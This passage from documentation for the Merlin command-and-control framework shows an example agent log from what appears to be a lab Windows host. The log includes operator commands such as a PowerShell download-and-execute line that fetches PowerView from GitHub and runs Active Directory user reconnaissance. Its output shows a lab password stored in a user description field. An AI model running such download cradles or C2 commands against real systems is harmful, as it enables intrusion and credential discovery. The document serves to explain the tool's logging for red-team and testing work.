↪from 13c8bd9b-dc8e-4fa9-83d0-58c7cff8903d
[2017-12-17 03:30:58.634935594 +0000 UTC m=+327.034647953]Shutting down Merlin Server␣
↪due to user input
```

15.2 Agent

When an agent checks in to Merlin, a directory is created for it based on the Agent's UUID in the `data/agents` directory. A log file of agent activity is created in the new directory in the `agent_log.txt` file.

An example of the `data/agents/209342db-ce7c-49e8-883f-0ee4da7d266d/agent_log.txt` file:

```
[2017-12-17 03:26:07.10226105 +0000 UTC m=+35.501972326]Initial check in for agent␣
↪209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:26:07.10246555 +0000 UTC m=+35.502176856]Platform: windows
```

(continues on next page)

(continued from previous page)

```
[2017-12-17 03:26:07.10249271 +0000 UTC m=+35.502203956]Architecture: amd64
[2017-12-17 03:26:07.10256092 +0000 UTC m=+35.502272320]HostName: WIN10
[2017-12-17 03:26:07.102590307 +0000 UTC m=+35.502301630]UserName: XCALIBUR\dade
[2017-12-17 03:26:07.102640064 +0000 UTC m=+35.502351353]UserGUID: S-1-5-21-
↪4268310007-4003891068-3852045410-513
[2017-12-17 03:26:07.10265651 +0000 UTC m=+35.502367750]Process ID: 2776
[2017-12-17 03:26:07.132149253 +0000 UTC m=+35.531861089]Processing AgentInfo message:
        Agent Version: 0.1.3
        Agent Build: 6a1723b180583deff56b41a9d2a283244837b611
        Agent waitTime: 30s
        Agent paddingMax: 4096
        Agent maxRetry: 7
        Agent failedCheckin: 0
[2017-12-17 03:26:37.254087469 +0000 UTC m=+65.653799302]Agent status check in
[2017-12-17 03:27:07.395670309 +0000 UTC m=+95.795382065]Agent status check in
[2017-12-17 03:27:37.533895458 +0000 UTC m=+125.933607084]Agent status check in
[2017-12-17 03:27:37.537462734 +0000 UTC m=+125.937175076]Command Type: control
[2017-12-17 03:27:37.537593821 +0000 UTC m=+125.937305610]Command: [sleep 13s]
[2017-12-17 03:27:37.537786944 +0000 UTC m=+125.937498617]Created job vPIDreMwkF for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:27:37.571990967 +0000 UTC m=+125.971702752]Processing AgentInfo␣
↪message:
        Agent Version: 0.1.3
        Agent Build: 6a1723b180583deff56b41a9d2a283244837b611
        Agent waitTime: 13s
        Agent paddingMax: 4096
        Agent maxRetry: 7
        Agent failedCheckin: 0
[2017-12-17 03:27:50.69824483 +0000 UTC m=+139.097956473]Agent status check in
[2017-12-17 03:28:03.822906318 +0000 UTC m=+152.222618134]Agent status check in
[2017-12-17 03:28:03.824745772 +0000 UTC m=+152.224457054]Command Type: cmd
[2017-12-17 03:28:03.824787835 +0000 UTC m=+152.224499144]Command: [powershell "Get-
↪NetAdapter|fl"]
[2017-12-17 03:28:03.824874938 +0000 UTC m=+152.224586324]Created job cwDwWifPqR for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:28:06.474940051 +0000 UTC m=+154.874651976]Results for job: cwDwWifPqR
[2017-12-17 03:28:06.478391949 +0000 UTC m=+154.878103211]Command Results (stdout):


Name                       : Ethernet0
InterfaceDescription       : Intel(R) 82574L Gigabit Network Connection
InterfaceIndex             : 9
MacAddress                 : 00-0C-29-96-04-66
MediaType                  : 802.3
PhysicalMediaType          : 802.3
InterfaceOperationalStatus : Up
AdminStatus                : Up
LinkSpeed(Gbps)            : 1
MediaConnectionState       : Connected
ConnectorPresent           : True
DriverInformation          : Driver Date 2016-04-05 Version 12.15.22.6 NDIS 6.30


[2017-12-17 03:28:19.614829305 +0000 UTC m=+168.014540881]Agent status check in
[2017-12-17 03:28:32.748204051 +0000 UTC m=+181.147915670]Agent status check in
[2017-12-17 03:28:32.750120781 +0000 UTC m=+181.149832134]Command Type: cmd
[2017-12-17 03:28:32.750162232 +0000 UTC m=+181.149873581]Command: [powershell "IEX␣
↪(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/
↪PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser -Username dade
↪"]
```

(continues on next page)

(continued from previous page)

```
[2017-12-17 03:28:32.750301452 +0000 UTC m=+181.150012674]Created job GMKxTcvWhH for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:28:35.105745057 +0000 UTC m=+183.505457853]Results for job: GMKxTcvWhH
[2017-12-17 03:28:35.108203423 +0000 UTC m=+183.507915165]Command Results (stdout):


logoncount                    : 12
badpasswordtime               : 12/10/2017 9:08:24 AM
description                   : Intentionally Vulnerable;Password: Winter2017
distinguishedname             : CN=Dade D. Murphy,CN=Users,DC=xcalibur,DC=io
objectclass                   : {top, person, organizationalPerson, user}
dscorepropagationdata         : 1/1/1601 12:00:00 AM
displayname                   : Dade D. Murphy
lastlogontimestamp            : 12/10/2017 9:14:44 AM
userprincipalname             : dade@xcalibur.io
name                          : Dade D. Murphy
primarygroupid                : 513
objectsid                     : S-1-5-21-4268310007-4003891068-3852045410-1116
samaccountname                : dade
lastlogon                     : 12/16/2017 6:19:58 PM
codepage                      : 0
samaccounttype                : 805306368
whenchanged                   : 12/10/2017 5:14:44 PM
accountexpires                : 9223372036854775807
cn                            : Dade D. Murphy
adspath                       : LDAP://CN=Dade D. Murphy,CN=Users,DC=xcalibur,DC=io
instancetype                  : 4
objectguid                    : 662a2b05-8397-41d4-bfdb-b0bd6df3615b
sn                            : Murphy
lastlogoff                    : 12/31/1600 4:00:00 PM
objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=xcalibur,DC=io
initials                      : D
givenname                     : Dade
whencreated                   : 10/6/2017 12:21:27 AM
badpwdcount                   : 0
useraccountcontrol            : 66048
usncreated                    : 12889
countrycode                   : 0
pwdlastset                    : 10/5/2017 5:21:27 PM
msds-supportedencryptiontypes : 0
usnchanged                    : 20645

[2017-12-17 03:28:48.250330562 +0000 UTC m=+196.650042428]Agent status check in
[2017-12-17 03:29:01.387319268 +0000 UTC m=+209.787031394]Agent status check in
[2017-12-17 03:29:14.519431017 +0000 UTC m=+222.919142466]Agent status check in
[2017-12-17 03:29:27.640031072 +0000 UTC m=+236.039742618]Agent status check in
[2017-12-17 03:29:40.75826363 +0000 UTC m=+249.157975111]Agent status check in
[2017-12-17 03:29:53.90008421 +0000 UTC m=+262.299796006]Agent status check in
[2017-12-17 03:30:07.04774827 +0000 UTC m=+275.447460262]Agent status check in
[2017-12-17 03:30:20.178747286 +0000 UTC m=+288.578458632]Agent status check in
[2017-12-17 03:30:33.306429632 +0000 UTC m=+301.706141394]Agent status check in
[2017-12-17 03:30:46.426827382 +0000 UTC m=+314.826539174]Agent status check in
[2017-12-17 03:30:46.428641549 +0000 UTC m=+314.828352838]Command Type: kill
[2017-12-17 03:30:46.428684456 +0000 UTC m=+314.828395838]Command: []
[2017-12-17 03:30:46.428732519 +0000 UTC m=+314.828443952]Created job yRZdBkCXAf for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
```